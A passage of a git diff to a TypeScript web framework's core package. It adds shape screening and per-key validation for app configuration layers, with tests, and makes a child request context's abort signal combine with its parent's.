never cancels the work and never rejects a joiner | -| `createFlightGate({ maxConcurrent, maxQueued }, { subject?, overflow? })` | one bound, one queue, one refusal | how many at once. Past the queue the answer is `X_FLIGHT_GATE_OVERLOADED` (503) and never a longer queue; the slot is HANDED to a waiter, never released and re-acquired | +| `createFlightGate({ maxConcurrent, maxQueued }, { subject?, overflow? })` | one bound, one queue, one refusal | how many at once. Past the queue the answer is `X_FLIGHT_GATE_OVERLOADED` (503) and never a longer queue; the slot is HANDED to a waiter, never released and re-acquired. Both limits are screened at construction (`finiteCount`, 0 allowed); a width of 0 refuses every caller rather than queueing for a slot that never frees | | `createFence(subject)` → `generation()`, `bump()`, `guard(issued)` | whether an answer still applies | `X_SUPERSEDED` (499) and `isSuperseded(error)` — the piece nothing in the tree had. `guard` compares `!==`, never `<` | | `isRetryableStatus(status)`, `RETRYABLE_STATUSES` | `>= 500`, plus 408, 409, 425, 429 | which HTTP answers are worth repeating | | `retry(work, policy, { sleep, now?, random? })`, `retryDecision(policy, attempt, error, random?)` | the executor and the pure decision behind the classification | whether to try again at all. `createClientFlight` is its one caller in the framework; `jobs`, `ai` and `db` each keep their own loop and delegate only the arithmetic and the classification | diff --git a/packages/core/src/config-defaults.ts b/packages/core/src/config-defaults.ts new file mode 100644 index 000000000..31df3859d --- /dev/null +++ b/packages/core/src/config-defaults.ts @@ -0,0 +1,46 @@ +// Single responsibility: the value every `app.config.ts` key has when no layer says otherwise. +// Split from `config.ts`, which sits at its 500-line ceiling; literals only, so it reads no key. + +import type { AppConfig } from './config'; +import { defaultReadinessGraceMs } from './lifecycle-grace'; +import { ROLES } from './roles'; + +/** The keys `config-site.ts`, `config-navigation.ts` and `config-islands.ts` default themselves. */ +type Sectioned = 'name' | 'site' | 'seo' | 'navigation' | 'islands'; + +export function configDefaults(name: string): Omit { + return { + locales: ['en'], + defaultLocale: 'en', + defaultTimeZone: 'UTC', + defaultCurrency: 'USD', + theme: { defaultMode: 'system', tokens: {} }, + auth: { signInPath: null }, + pwa: { + enabled: false, + offline: { fallback: null, image: null, font: null, neverCache: [], personalPages: 'never' }, + backgroundSync: false, + push: false, + name: '', + colors: undefined, + }, + roles: [...ROLES], + database: { driver: 'postgres', ssl: false }, + cache: { defaultTtlMs: 60_000, tiers: ['request-memo', 'lru'] }, + jobs: { + queues: [`${name}-default`], + concurrency: 8, + maxAttempts: 5, + backoff: 'exponential', + visibilityTimeoutMs: 30_000, + }, + // ON by default since 22.0.0, when the boot began obeying the key: an app with no section + // keeps the `sync` node it always got, and `enabled: false` is the explicit opt-out. + realtime: { enabled: true, transport: 'memory', urlEnv: undefined }, + notify: { inboxReadRetentionMs: undefined, inboxUnreadRetentionMs: undefined }, + ai: { mcp: { expose: true, path: '/mcp' } }, + // Read from the process env when the config is DEFINED — the same env the drain will run in. + drain: { readinessGraceMs: defaultReadinessGraceMs() }, + health: { readiness: 'dependencies' }, + }; +} diff --git a/packages/core/src/config-merge.test.ts b/packages/core/src/config-merge.test.ts new file mode 100644 index 000000000..c3c37f214 --- /dev/null +++ b/packages/core/src/config-merge.test.ts @@ -0,0 +1,36 @@ +// Single responsibility: pins how one section patch is applied — key by key, `undefined` never +// winning — and that a patch which is not an object is carried through, never iterated. + +import { describe, expect, test } from 'bun:test'; +import { lastSaid, layered, section } from './config-merge'; + +describe('section', () => { + const base = { queues: ['default'], concurrency: 8 }; + + test('applies a patch key by key, and an explicit undefined never wins', () => { + expect(section(base, { concurrency: 2, queues: undefined })).toEqual({ + queues: ['default'], + concurrency: 2, + }); + expect(section(base, undefined)).toBe(base); + }); + + test.each([[null], ['redis'], [5], [['a']]])( + 'a patch that is %p is carried as written, not iterated', + (patch) => { + // `Object.entries(null)` was a native TypeError out of `defineConfig`'s own merge. + expect(section(base, patch as never)).toBe(patch as never); + }, + ); + + test('a wrong shape survives later layers, so it is still there to be refused', () => { + expect(layered(base, [null as never, { concurrency: 2 }])).toBeNull(); + }); +}); + +describe('lastSaid', () => { + test('the last layer that said something wins', () => { + expect(lastSaid(['en'], [undefined, ['de'], undefined])).toEqual(['de']); + expect(lastSaid(['en'], [])).toEqual(['en']); + }); +}); diff --git a/packages/core/src/config-merge.ts b/packages/core/src/config-merge.ts index 3cb274554..84a13dd64 100644 --- a/packages/core/src/config-merge.ts +++ b/packages/core/src/config-merge.ts @@ -2,6 +2,8 @@ // per section and key by key. Carries no config KEY on purpose: `config-readers` counts a property // access outside `config.ts` as a reader, so this file only ever sees sections as opaque records. +import { isJsonObject } from './json-object'; + /** A section's patch: every key optional, and an explicit `undefined` meaning "not said". */ export type Input = { readonly [K in keyof T]?: T[K] | undefined }; @@ -11,6 +13,12 @@ export type Input = { readonly [K in keyof T]?: T[K] | undefined }; */ export function section(base: T, patch: Input | undefined): T { if (patch === undefined) return base; + // A layer that wrote something other than an object (`null`, a string, a list) has no key to + // merge, and `Object.entries(null)` below was a native `TypeError` out of the validator's own + // caller. It is carried through AS WRITTEN — and stays, whatever later layers say — so the shape + // screen refuses it by name; dropped here, the app would run on defaults it believed it replaced. + if (!isJsonObject(base)) return base; + if (!isJsonObject(patch)) return patch as T; const out: Record = { ...(base as Record) }; for (const [key, value] of Object.entries(patch)) { if (value !== undefined) out[key] = value; diff --git a/packages/core/src/config-shape.test.ts b/packages/core/src/config-shape.test.ts new file mode 100644 index 000000000..e8b057312 --- /dev/null +++ b/packages/core/src/config-shape.test.ts @@ -0,0 +1,93 @@ +// Single responsibility: pins the shape screens `defineConfig` runs before any rule reads a value — +// what each refuses, what each lets through, and that none of them can throw on what it is handed. + +import { describe, expect, test } from 'bun:test'; +import { + booleanIssue, + localeIssues, + nameListIssues, + oneOfIssue, + routePathIssue, + shapeIssues, +} from './config-shape'; + +const collect = (run: (issues: string[]) => void): readonly string[] => { + const issues: string[] = []; + run(issues); + return issues; +}; + +describe('shapeIssues', () => { + const reference = { + jobs: { queues: ['q'], retry: { on: true } }, + tags: ['a'], + colors: undefined, + }; + + test('a section or a list of the wrong kind is named by its full path', () => { + const layer = { jobs: { queues: 'mail', retry: null }, tags: null }; + expect(collect((issues) => shapeIssues(reference, layer, issues))).toEqual([ + 'jobs.queues must be a list, not a string of 4 characters', + 'jobs.retry must be an object, not null', + 'tags must be a list, not null', + ]); + }); + + test('an unsaid key, a scalar and an optional block are not its business', () => { + const layer = { jobs: { queues: undefined, extra: 5 }, colors: 'anything', unknown: null }; + expect(collect((issues) => shapeIssues(reference, layer, issues))).toEqual([]); + }); + + test('a list where a section belongs is refused — an array is not a record', () => { + expect(collect((issues) => shapeIssues(reference, { jobs: [] }, issues))).toEqual([ + 'jobs must be an object, not an empty array', + ]); + }); + + test.each([[null], [undefined], [5], ['x'], [[]]])( + 'a layer that is %p raises nothing and throws nothing', + (layer) => { + expect(collect((issues) => shapeIssues(reference, layer, issues))).toEqual([]); + }, + ); +}); + +describe('the per-key screens', () => { + test('oneOfIssue echoes a string and describes anything else', () => { + expect(oneOfIssue('k', 'b', ['a', 'b'])).toBeUndefined(); + expect(oneOfIssue('k', 'c', ['a', 'b'])).toBe('k "c" is not one of a, b'); + expect(oneOfIssue('k', 5n, ['a'])).toContain('k '); + }); + + test('booleanIssue is typeof, never truthiness', () => { + expect(booleanIssue('k', false)).toBeUndefined(); + expect(booleanIssue('k', 'false')).toBe('k must be true or false, not "false"'); + expect(booleanIssue('k', 0)).toContain('must be true or false'); + }); + + test('routePathIssue wants a leading slash', () => { + expect(routePathIssue('k', '/mcp')).toBeUndefined(); + expect(routePathIssue('k', 'mcp')).toBe('k must be a path starting with /, not "mcp"'); + expect(routePathIssue('k', null)).toContain('must be a path'); + }); + + test('nameListIssues refuses an empty list, an empty name and a non-string', () => { + expect(collect((issues) => nameListIssues('k', ['mail'], 'queue', issues))).toEqual([]); + expect(collect((issues) => nameListIssues('k', [], 'queue', issues))).toEqual([ + 'k must list at least one queue', + ]); + expect(collect((issues) => nameListIssues('k', ['', 5], 'queue', issues))).toHaveLength(2); + }); + + test('localeIssues refuses a non-tag, a second spelling of one locale and an absent default', () => { + expect(collect((issues) => localeIssues(['en', 'pt-BR'], 'en', issues))).toEqual([]); + expect(collect((issues) => localeIssues(['EN', 'en'], 'en', issues))).toEqual([ + 'locales lists en twice, as "EN" and "en"', + ]); + expect(collect((issues) => localeIssues(['not a tag', 5], 'de', issues))).toEqual([ + 'locales contains "not a tag", not a BCP-47 tag', + 'locales contains a number, not a BCP-47 tag', + 'defaultLocale "de" is not in locales', + ]); + }); +}); diff --git a/packages/core/src/config-shape.ts b/packages/core/src/config-shape.ts new file mode 100644 index 000000000..5ae7b313f --- /dev/null +++ b/packages/core/src/config-shape.ts @@ -0,0 +1,112 @@ +// Single responsibility: the SHAPE half of `app.config.ts` validation — is this a section, a list, +// a boolean, one of a closed set — asked before any rule reads the value. Takes every key as a +// string and every value as `unknown`, and names no config key of its own: `config-readers` counts +// a property access outside the declaring files as a reader, so this file must not make one. + +import { describeValue } from './error-render'; +import { isJsonObject } from './json-object'; + +/** A string is worth echoing — it is the typo; anything else is described by shape. */ +const said = (value: unknown): string => + typeof value === 'string' ? `"${value}"` : describeValue(value); + +/** + * Every section and list one LAYER wrote, compared with the same position in `reference` — the + * defaults merged with no layer, so the screen is derived and never a hand list of key names. + * Structure only: where the reference holds a section the layer may hold a section, where it holds + * a list, a list. `undefined` is a layer not saying; scalars are the per-key rules' business; and + * a position the reference leaves `null` or `undefined` (an optional block) is not judged here. + * + * It runs BEFORE the merge and its issues end the validation, because the merge and every rule + * after it read through the structure: `Object.entries(null)` and `null.length` are the native + * `TypeError`s the validator exists to replace with an instruction. + */ +export function shapeIssues(reference: unknown, layer: unknown, issues: string[], path = ''): void { + if (!isJsonObject(reference) || !isJsonObject(layer)) return; + for (const [key, expected] of Object.entries(reference)) { + const at = path === '' ? key : `${path}.${key}`; + const value: unknown = layer[key]; + if (value === undefined) continue; + if (Array.isArray(expected)) { + if (!Array.isArray(value)) issues.push(`${at} must be a list, not ${describeValue(value)}`); + } else if (isJsonObject(expected)) { + if (isJsonObject(value)) shapeIssues(expected, value, issues, at); + else issues.push(`${at} must be an object, not ${describeValue(value)}`); + } + } +} + +/** Why `value` is not one of `allowed`, or `undefined` when it is. */ +export function oneOfIssue( + key: string, + value: unknown, + allowed: readonly string[], +): string | undefined { + if (allowed.some((known) => known === value)) return undefined; + return `${key} ${said(value)} is not one of ${allowed.join(', ')}`; +} + +/** + * `typeof`, never truthiness: an untyped config writing `'false'` — a string out of an environment + * variable — is truthy, so the switch it meant to turn off stayed on and nothing said so. + */ +export function booleanIssue(key: string, value: unknown): string | undefined { + return typeof value === 'boolean' + ? undefined + : `${key} must be true or false, not ${said(value)}`; +} + +/** A route path the framework mounts or redirects to: absolute, or the browser resolves it. */ +export function routePathIssue(key: string, value: unknown): string | undefined { + return typeof value === 'string' && value.startsWith('/') + ? undefined + : `${key} must be a path starting with /, not ${said(value)}`; +} + +/** A list that names things: at least one entry, each a non-empty string, `what` each. */ +export function nameListIssues( + key: string, + list: readonly unknown[], + what: string, + issues: string[], +): void { + if (list.length === 0) issues.push(`${key} must list at least one ${what}`); + for (const entry of list) { + if (typeof entry !== 'string' || entry.trim() === '') { + issues.push(`${key} contains ${said(entry)}, not a ${what} name`); + } + } +} + +function canonicalTag(tag: unknown): string | undefined { + if (typeof tag !== 'string') return undefined; + try { + const canonical = Intl.getCanonicalLocales(tag); + return canonical.length === 1 ? canonical[0] : undefined; + } catch { + return undefined; + } +} + +/** + * The locale list and the tag that must be in it. Two spellings of ONE locale are refused: the + * list keys a catalog, a route prefix and an `hreflang` each, and `['EN', 'en']` is two of every + * one of them for a single language. + */ +export function localeIssues(tags: readonly unknown[], fallback: unknown, issues: string[]): void { + if (tags.length === 0) issues.push('locales must list at least one locale'); + const seen = new Map(); + for (const tag of tags) { + const canonical = canonicalTag(tag); + if (canonical === undefined) { + issues.push(`locales contains ${said(tag)}, not a BCP-47 tag`); + } else if (seen.has(canonical)) { + issues.push( + `locales lists ${canonical} twice, as ${said(seen.get(canonical))} and ${said(tag)}`, + ); + } else { + seen.set(canonical, tag); + } + } + if (!tags.includes(fallback)) issues.push(`defaultLocale ${said(fallback)} is not in locales`); +} diff --git a/packages/core/src/config-site.ts b/packages/core/src/config-site.ts index da265a293..0e2d7a0f2 100644 --- a/packages/core/src/config-site.ts +++ b/packages/core/src/config-site.ts @@ -3,6 +3,7 @@ // Split from `config.ts` for `config-pwa.ts`' reason: that file sits at its 500-line ceiling. import { type Input, layered } from './config-merge'; +import { describeValue } from './error-render'; export interface SiteConfig { /** @@ -108,10 +109,20 @@ export function siteIssues(config: SiteSections, issues: string[]): void { const issue = originIssue(origin); if (issue !== undefined) issues.push(issue); } - for (const path of config.seo.robots.disallow) { - if (!path.startsWith('/')) issues.push(`seo.robots.disallow entry "${path}" must start with /`); + // `unknown` entries: an untyped config reaches here with whatever it listed, and `5.startsWith` + // was a native `TypeError` thrown by the validator itself. + for (const path of config.seo.robots.disallow as readonly unknown[]) { + if (typeof path !== 'string') { + issues.push(`seo.robots.disallow entry must be a path string, not ${describeValue(path)}`); + } else if (!path.startsWith('/')) { + issues.push(`seo.robots.disallow entry "${path}" must start with /`); + } } - for (const path of config.seo.sitemap.extra) { + for (const path of config.seo.sitemap.extra as readonly unknown[]) { + if (typeof path !== 'string') { + issues.push(`seo.sitemap.extra entry must be a path string, not ${describeValue(path)}`); + continue; + } // A PATH, never a URL: every `` is built against the one declared origin, and a query or // a fragment names a variant of a page, which a sitemap lists by its canonical URL alone. if (!path.startsWith('/') || path.startsWith('//') || /[?#]/.test(path)) { diff --git a/packages/core/src/config.test.ts b/packages/core/src/config.test.ts index 521802235..cbb8f6b8e 100644 --- a/packages/core/src/config.test.ts +++ b/packages/core/src/config.test.ts @@ -385,3 +385,96 @@ describe('notify retention', () => { // installable, serve every page, pass the gate and never be installable in any browser. Now that // `packages/cli/src/pwa-artifacts.ts` reads it, the block has to be able to SAY what an install // needs — and the boot is where a missing title has to surface, not `x build`. + +/** + * The validator IS the boundary an untyped `app.config.ts` crosses, so its one job is turning a + * wrong value into `X_CONFIG_INVALID` naming the key. Each row below either crashed it with a + * native `TypeError` — `null.length`, `Object.entries(null)`, `5.startsWith` — or walked through + * it into a frozen config nothing downstream re-checks. + */ +describe('defineConfig · a mistyped value is X_CONFIG_INVALID naming its key, never a TypeError', () => { + const refusal = (input: Record): { code: string; cause: string } => { + try { + defineConfig({ name: 'myapp', ...input } as never); + } catch (error) { + if (isUltimateError(error)) return { code: error.code, cause: error.cause }; + return { code: `native ${String(error)}`, cause: '' }; + } + return { code: 'accepted', cause: '' }; + }; + + test.each([ + ['locales', { locales: null }], + ['roles', { roles: null }], + ['jobs', { jobs: null }], + ['jobs.queues', { jobs: { queues: null } }], + ['cache.tiers', { cache: { tiers: null } }], + ['seo.robots.disallow', { seo: { robots: { disallow: [5] } } }], + ['seo.robots', { seo: { robots: null } }], + ['seo.sitemap.extra', { seo: { sitemap: { extra: [null] } } }], + ['cache', { cache: 'redis' }], + ['pwa', { pwa: null }], + ['pwa.offline', { pwa: { offline: 7 } }], + ['theme.tokens', { theme: { tokens: null } }], + ])('%s of the wrong shape used to crash the validator', (key, input) => { + const { code, cause } = refusal(input); + expect(code).toBe('X_CONFIG_INVALID'); + expect(cause).toContain(key); + }); + + test.each([ + ['roles', { roles: ['websrv'] }], + ['jobs.backoff', { jobs: { backoff: 'linear' } }], + ['database.ssl', { database: { ssl: 'false' } }], + ['realtime.enabled', { realtime: { enabled: 'false' } }], + ['database.driver', { database: { driver: 'mysql' } }], + ['theme', { theme: 'dark' }], + ['theme.defaultMode', { theme: { defaultMode: 'blue' } }], + ['auth.signInPath', { auth: { signInPath: 'login' } }], + ['ai.mcp.path', { ai: { mcp: { path: 'mcp' } } }], + ['ai.mcp.expose', { ai: { mcp: { expose: 'no' } } }], + ['cache.tiers', { cache: { tiers: [] } }], + ['jobs.queues', { jobs: { queues: ['', 5] } }], + ['locales', { locales: ['EN', 'en'] }], + ])('%s mistyped used to be accepted into a frozen config', (key, input) => { + const { code, cause } = refusal(input); + expect(code).toBe('X_CONFIG_INVALID'); + expect(cause).toContain(key); + }); + + test('a truthy STRING is not a boolean: "false" switched the thing on', () => { + expect(refusal({ realtime: { enabled: 'false' } }).cause).toContain( + 'realtime.enabled must be true or false', + ); + }); + + test('every value the types allow is still accepted', () => { + const config = defineConfig({ + name: 'myapp', + locales: ['en', 'pt-BR'], + roles: ['web', 'worker'], + theme: { defaultMode: 'dark', tokens: { brand: 'primary' } }, + auth: { signInPath: '/sign-in' }, + database: { ssl: true }, + cache: { tiers: ['request-memo'] }, + jobs: { queues: ['mail', 'default'], backoff: 'fixed' }, + realtime: { enabled: false }, + ai: { mcp: { expose: false, path: '/agents/mcp' } }, + seo: { robots: { disallow: ['/panel'] }, sitemap: { extra: ['/verificar'] } }, + }); + expect(config.roles).toEqual(['web', 'worker']); + expect(config.jobs.backoff).toBe('fixed'); + expect(config.realtime.enabled).toBe(false); + expect(config.auth.signInPath).toBe('/sign-in'); + }); + + test('an overlay cannot smuggle the wrong shape past the base either', () => { + try { + defineConfig({ name: 'myapp', jobs: { concurrency: 2 } }, { jobs: null } as never); + expect.unreachable(); + } catch (error) { + expect(isUltimateError(error) && error.code).toBe('X_CONFIG_INVALID'); + expect(isUltimateError(error) && error.cause).toContain('jobs must be an object'); + } + }); +}); diff --git a/packages/core/src/config.ts b/packages/core/src/config.ts index 9fbeba935..9e050cc63 100644 --- a/packages/core/src/config.ts +++ b/packages/core/src/config.ts @@ -8,6 +8,7 @@ import { CURRENCY_CODE_PATTERN } from '@ultimat3/schema'; // drift into two vocabularies with no map between them (issue #293). import { CACHE_TIERS, type CacheTierName } from './cache-vocabulary'; import { countIssue } from './config-count'; +import { configDefaults } from './config-defaults'; import { BASE_FIX, CACHE_TIER_FIX, TIMEZONE_FIX } from './config-fixes'; import type { DrainConfig, HealthConfig } from './config-health'; import { readinessModeIssue } from './config-health'; @@ -18,15 +19,24 @@ import type { NavigationConfig, NavigationSectionInput } from './config-navigati import { mergeNavigation, navigationIssues } from './config-navigation'; import type { PwaConfig, PwaOfflineConfig } from './config-pwa'; import { PWA_FIX, pwaIssues } from './config-pwa'; +import { + booleanIssue, + localeIssues, + nameListIssues, + oneOfIssue, + routePathIssue, + shapeIssues, +} from './config-shape'; import type { SeoConfig, SiteConfig, SiteSectionsInput } from './config-site'; import { mergeSite, siteIssues } from './config-site'; import { describeValue } from './error-render'; import { ConfigInvalidError } from './errors'; -import { defaultReadinessGraceMs, readinessGraceIssue } from './lifecycle-grace'; +import { readinessGraceIssue } from './lifecycle-grace'; import { ROLES, type Role } from './roles'; import { isIanaZoneName } from './time-zone-name'; -export type ThemeMode = 'light' | 'dark' | 'system'; +export const THEME_MODES = ['light', 'dark', 'system'] as const; +export type ThemeMode = (typeof THEME_MODES)[number]; /** * The buses `@ultimat3/realtime`'s `selectTransport` builds, and nothing else. `'redis'` was in * this union until 22.0.0 with no Redis transport anywhere: it booted whatever `NATS_URL` chose. @@ -99,8 +109,10 @@ export const INBOX_RETENTION_KEYS = ['inboxReadRetentionMs', 'inboxUnreadRetenti * 3 applied to configuration: a value that produces neither a build error nor a runtime effect is * worse than no field, because an SRE sets `poolSize: 3`, redeploys, and nothing changes. */ +const DATABASE_DRIVERS = ['postgres'] as const; + export interface DatabaseConfig { - readonly driver: 'postgres'; + readonly driver: (typeof DATABASE_DRIVERS)[number]; readonly ssl: boolean; } @@ -125,6 +137,8 @@ export interface CacheConfig { readonly tiers: readonly CacheTierName[]; } +const JOB_BACKOFFS = ['exponential', 'fixed'] as const; + export interface JobsConfig { /** * No `driver`. It accepted `'postgres' | 'redis' | 'nats'`, was read by NOTHING, and boot always @@ -140,7 +154,7 @@ export interface JobsConfig { readonly queues: readonly string[]; readonly concurrency: number; readonly maxAttempts: number; - readonly backoff: 'exponential' | 'fixed'; + readonly backoff: (typeof JOB_BACKOFFS)[number]; readonly visibilityTimeoutMs: number; } @@ -255,52 +269,6 @@ const NAME_RE = /^[a-z][a-z0-9-]{1,63}$/; */ const CURRENCY_RE = new RegExp(CURRENCY_CODE_PATTERN); -function isLocale(value: string): boolean { - try { - return Intl.getCanonicalLocales(value).length === 1; - } catch { - return false; - } -} - -type Sectioned = 'name' | 'site' | 'seo' | 'navigation' | 'islands'; -function defaults(name: string): Omit { - return { - locales: ['en'], - defaultLocale: 'en', - defaultTimeZone: 'UTC', - defaultCurrency: 'USD', - theme: { defaultMode: 'system', tokens: {} }, - auth: { signInPath: null }, - pwa: { - enabled: false, - offline: { fallback: null, image: null, font: null, neverCache: [], personalPages: 'never' }, - backgroundSync: false, - push: false, - name: '', - colors: undefined, - }, - roles: [...ROLES], - database: { driver: 'postgres', ssl: false }, - cache: { defaultTtlMs: 60_000, tiers: ['request-memo', 'lru'] }, - jobs: { - queues: [`${name}-default`], - concurrency: 8, - maxAttempts: 5, - backoff: 'exponential', - visibilityTimeoutMs: 30_000, - }, - // ON by default since 22.0.0, when the boot began obeying the key: an app with no section - // keeps the `sync` node it always got, and `enabled: false` is the explicit opt-out. - realtime: { enabled: true, transport: 'memory', urlEnv: undefined }, - notify: { inboxReadRetentionMs: undefined, inboxUnreadRetentionMs: undefined }, - ai: { mcp: { expose: true, path: '/mcp' } }, - // Read from the process env when the config is DEFINED — the same env the drain will run in. - drain: { readinessGraceMs: defaultReadinessGraceMs() }, - health: { readiness: 'dependencies' }, - }; -} - function validate(config: AppConfig): void { const issues: string[] = []; // Zero or one entry: the zone's own remedy, carried only when the zone is what failed. @@ -314,13 +282,7 @@ function validate(config: AppConfig): void { if (!NAME_RE.test(config.name)) { issues.push(`name "${config.name}" must match ${String(NAME_RE)}`); } - if (config.locales.length === 0) issues.push('locales must list at least one locale'); - for (const locale of config.locales) { - if (!isLocale(locale)) issues.push(`locales contains "${locale}", not a BCP-47 tag`); - } - if (!config.locales.includes(config.defaultLocale)) { - issues.push(`defaultLocale "${config.defaultLocale}" is not in locales`); - } + localeIssues(config.locales, config.defaultLocale, issues); // `@ultimat3/time`'s rule, restated because tier 0 cannot import tier 1 — see // `time-zone-name.ts`. One validator means a zone `app.config.ts` accepts is a zone every // `format` call, `task()` and `toZoned` below it can then do arithmetic in. @@ -334,25 +296,33 @@ function validate(config: AppConfig): void { issues.push(`defaultCurrency "${config.defaultCurrency}" is not a 3-letter ISO 4217 code`); } if (config.roles.length === 0) issues.push('roles must list at least one runtime role'); - // A domain per numeric key, never a bare `< 1`: every comparison with `NaN` is false, so the old - // `concurrency < 1` passed `NaN`, `2.5` and `Infinity`, and nothing screened the other three. - const counts: readonly (string | undefined)[] = [ + // ONE check per key, each against the key's own domain. A number is never a bare `< 1` — every + // comparison with `NaN` is false, so `concurrency < 1` passed `NaN`, `2.5` and `Infinity` — and + // a switch is never read for truthiness: `ssl: 'false'` and `enabled: 'false'` were both ON. + const perKey: readonly (string | undefined)[] = [ + ...config.roles.map((role) => oneOfIssue('roles', role, ROLES)), countIssue('jobs.concurrency', config.jobs.concurrency, 1), countIssue('jobs.maxAttempts', config.jobs.maxAttempts, 1), countIssue('jobs.visibilityTimeoutMs', config.jobs.visibilityTimeoutMs, 1), + oneOfIssue('jobs.backoff', config.jobs.backoff, JOB_BACKOFFS), countIssue('cache.defaultTtlMs', config.cache.defaultTtlMs, 0), + oneOfIssue('database.driver', config.database.driver, DATABASE_DRIVERS), + booleanIssue('database.ssl', config.database.ssl), + oneOfIssue('theme.defaultMode', config.theme.defaultMode, THEME_MODES), + // `null` is the documented "no redirect"; a path that is said must be one a browser can follow. + config.auth.signInPath === null + ? undefined + : routePathIssue('auth.signInPath', config.auth.signInPath), + booleanIssue('ai.mcp.expose', config.ai.mcp.expose), + routePathIssue('ai.mcp.path', config.ai.mcp.path), + booleanIssue('realtime.enabled', config.realtime.enabled), + oneOfIssue('realtime.transport', config.realtime.transport, REALTIME_TRANSPORTS), readinessGraceIssue(config.drain.readinessGraceMs), readinessModeIssue(config.health.readiness), ]; - for (const issue of counts) if (issue !== undefined) issues.push(issue); - if (config.jobs.queues.length === 0) issues.push('jobs.queues must list at least one queue'); - // An untyped config reaches here with whatever it wrote: a string is a name worth echoing, and - // anything else goes through `describeValue` rather than `${…}`. - const transport: unknown = config.realtime.transport; - if (!REALTIME_TRANSPORTS.some((known) => known === transport)) { - const said = typeof transport === 'string' ? `"${transport}"` : describeValue(transport); - issues.push(`realtime.transport ${said} is not one of ${REALTIME_TRANSPORTS.join(', ')}`); - } else if (transport === 'nats' && config.realtime.urlEnv === undefined) { + for (const issue of perKey) if (issue !== undefined) issues.push(issue); + nameListIssues('jobs.queues', config.jobs.queues, 'queue', issues); + if (config.realtime.transport === 'nats' && config.realtime.urlEnv === undefined) { issues.push(`realtime.transport "nats" requires realtime.urlEnv`); } // BOTH RETENTION WINDOWS OR NEITHER — `undefined` is a real value here (never swept) and the @@ -381,6 +351,9 @@ function validate(config: AppConfig): void { // A rung the ladder cannot build is the defect this key had: `sortTiers` places a name by its // index in `CACHE_TIERS`, and a name missing from it sorts to `-1` — AHEAD of the request memo. // So an unknown tier is refused at boot rather than silently ignored or silently placed first. + // An EMPTY ladder is refused with the unknown rung: it builds no tier at all, so every read + // misses and nothing says the cache was configured away. + if (config.cache.tiers.length === 0) issues.push('cache.tiers must list at least one tier'); for (const tier of config.cache.tiers) { if (CACHE_TIERS.includes(tier)) continue; issues.push(`cache.tiers contains "${tier}", which is not one of ${CACHE_TIERS.join(', ')}`); @@ -399,20 +372,14 @@ function validate(config: AppConfig): void { } /** - * The single config entry point. Later overlays win, so `config/jobs.ts` can own jobs without - * touching `app.config.ts`. + * Every layer, in order, merged per section and KEY BY KEY — see `layered`. `name` comes from the + * input alone because it identifies the app: an overlay may not rename it. No layer at all is the + * defaults, which is the reference `shapeIssues` compares each layer against. */ -export function defineConfig( - input: AppConfigInput, - ...overlays: readonly AppConfigOverlay[] -): AppConfig { - const base = defaults(input.name); - // Every layer, in order, merged per section and KEY BY KEY — see `layered`. `name` comes from - // the input alone because it identifies the app: an overlay may not rename it. - const layers: readonly AppConfigOverlay[] = [input, ...overlays]; - - const config: AppConfig = { - name: input.name, +function merge(name: string, layers: readonly AppConfigOverlay[]): AppConfig { + const base = configDefaults(name); + return { + name, locales: lastSaid( base.locales, layers.map((layer) => layer.locales), @@ -492,7 +459,28 @@ export function defineConfig( ...mergeNavigation(layers), ...mergeIslands(layers), }; +} +/** + * The single config entry point. Later overlays win, so `config/jobs.ts` can own jobs without + * touching `app.config.ts`. + */ +export function defineConfig( + input: AppConfigInput, + ...overlays: readonly AppConfigOverlay[] +): AppConfig { + const layers: readonly AppConfigOverlay[] = [input, ...overlays]; + // Structure FIRST, per layer and before the merge: a section written as `null` or a list + // written as a string is what `Object.entries` and `.length` raised a native `TypeError` on. + const issues: string[] = []; + // `navigation` is left out: `config-navigation.ts` carries a wrong shape through AS WRITTEN and + // refuses it in its own words, with the surfaces it accepts. + const reference = { ...merge(input.name, []), navigation: undefined }; + for (const layer of layers) shapeIssues(reference, layer, issues); + if (issues.length > 0) { + throw new ConfigInvalidError({ cause: issues.join('; '), fix: BASE_FIX, meta: { issues } }); + } + const config = merge(input.name, layers); validate(config); return Object.freeze(config); } diff --git a/packages/core/src/context.test.ts b/packages/core/src/context.test.ts index 92bcc5e23..d95e33eac 100644 --- a/packages/core/src/context.test.ts +++ b/packages/core/src/context.test.ts @@ -327,3 +327,42 @@ describe('a child scope inherits the deadline and can only shorten it', () => { expect(remainingBudgetMs(createContext({}))).toBeUndefined(); }); }); + +describe("a child scope's signal composes the parent's", () => { + test('a patched signal still sees the parent abort — client disconnect and the request timeout', () => { + // The deadline one line above is merged with `earliest()`; the signal was `patch ?? parent`, + // so a step that brought its own stopped seeing the request it runs inside end. + const request = new AbortController(); + const step = new AbortController(); + runWithContext(createContext({ signal: request.signal }), () => { + withChildContext({ signal: step.signal }, () => { + const child = useContext(); + expect(child.signal.aborted).toBe(false); + request.abort(); + expect(child.signal.aborted).toBe(true); + expect(() => throwIfAborted(child)).toThrow(/X_ABORTED/); + }); + }); + }); + + test("the patch's own abort still ends the child, and never the parent", () => { + const request = new AbortController(); + const step = new AbortController(); + runWithContext(createContext({ signal: request.signal }), () => { + withChildContext({ signal: step.signal }, () => { + step.abort(); + expect(useContext().signal.aborted).toBe(true); + }); + expect(useContext().signal.aborted).toBe(false); + }); + }); + + test('a child that patches no signal keeps the very same one', () => { + const request = new AbortController(); + runWithContext(createContext({ signal: request.signal }), () => { + withChildContext({ locale: 'de' }, () => { + expect(useContext().signal).toBe(request.signal); + }); + }); + }); +}); diff --git a/packages/core/src/context.ts b/packages/core/src/context.ts index f267ec0ab..b76bf288a 100644 --- a/packages/core/src/context.ts +++ b/packages/core/src/context.ts @@ -272,6 +272,18 @@ function screenDeadline(value: number | null | undefined): number | null { return finiteOption('the request context', 'deadlineAt', value); } +/** + * A patched signal is ADDED to the parent's, never swapped for it — the deadline's own rule, one + * field over. `patch ?? parent` made a step that brought its own signal blind to the request it + * runs inside: the client disconnected, the request timed out, and `ctx.signal.aborted` stayed + * false in the child. The shared never-aborting default is skipped rather than composed, so a + * context with no request behind it does not grow a listener per child. + */ +function composeSignal(parent: AbortSignal, patch: AbortSignal | undefined): AbortSignal { + if (patch === undefined || patch === parent) return parent; + return parent === neverAborted ? patch : AbortSignal.any([parent, patch]); +} + /** * Derive a narrowed context — impersonation, a locale switch, a per-step abort signal. * `requestId` is deliberately not patchable: one request, one id. @@ -301,7 +313,7 @@ export function withChildContext(patch: CtxPatch, fn: () => T): T { // that and did not do it — a patched hour replaced a parent's second outright, and // `remainingBudgetMs` then put the hour on `x-request-timeout-ms` 